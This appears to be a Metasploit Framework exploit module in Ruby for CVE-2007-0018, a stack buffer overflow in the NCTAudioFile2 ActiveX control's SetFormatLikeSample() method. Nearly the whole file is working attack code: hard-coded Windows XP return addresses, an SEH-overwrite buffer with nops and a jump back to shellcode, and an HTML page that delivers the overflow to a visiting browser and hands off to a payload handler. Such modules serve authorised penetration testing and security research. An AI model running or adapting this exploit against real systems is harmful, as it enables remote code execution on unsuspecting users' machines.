123 lines
3.3 KiB
Ruby
123 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX
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Control provided by various audio applications. By sending an overly long
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string to the "SetFormatLikeSample()" method, an attacker may be able to
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execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC', 'dookie', 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-0018' ],
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[ 'OSVDB', '32032' ],
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[ 'BID', '22196' ],
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[ 'US-CERT-VU', '292713' ],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# tested with:
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#
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# BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514)
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# BearShare 6.0.0.22717 (NCTAudioFile2.dll v2.5.7.514)
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# Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643)
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# Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643)
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#
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[ 'Windows XP SP2/SP3 Pro English (IE6)',
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{
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'PopPopRet' => 0x746C15A9, # p/p/r in msls31.dll (ie6)
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'jmp esp' => 0x774699bf, # user32.dll (xp sp2 and sp3)
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}
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],
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],
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'DisclosureDate' => 'Jan 24 2007',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# dual targeting super fun..
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sploit = p.encoded
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sploit << rand_text_alpha(4100 - p.encoded.length)
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# if seh is triggered, we'll use a pop/pop/ret
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seh = generate_seh_record(target['PopPopRet'])
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sploit << seh
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# padding
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sploit << make_nops(16 - seh.length)
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# otherwise, we need to jump to the stack
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sploit << [target['jmp esp']].pack('V')
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sploit << make_nops(32)
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# jump back to the payload :)
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x1000").encode_string
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# try to ensure SEH is triggered..
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sploit << rand_text_alpha(1000) * 18
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# Build out the message
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content = %Q|
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<html>
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<body>
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<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.SetFormatLikeSample(#{strname});
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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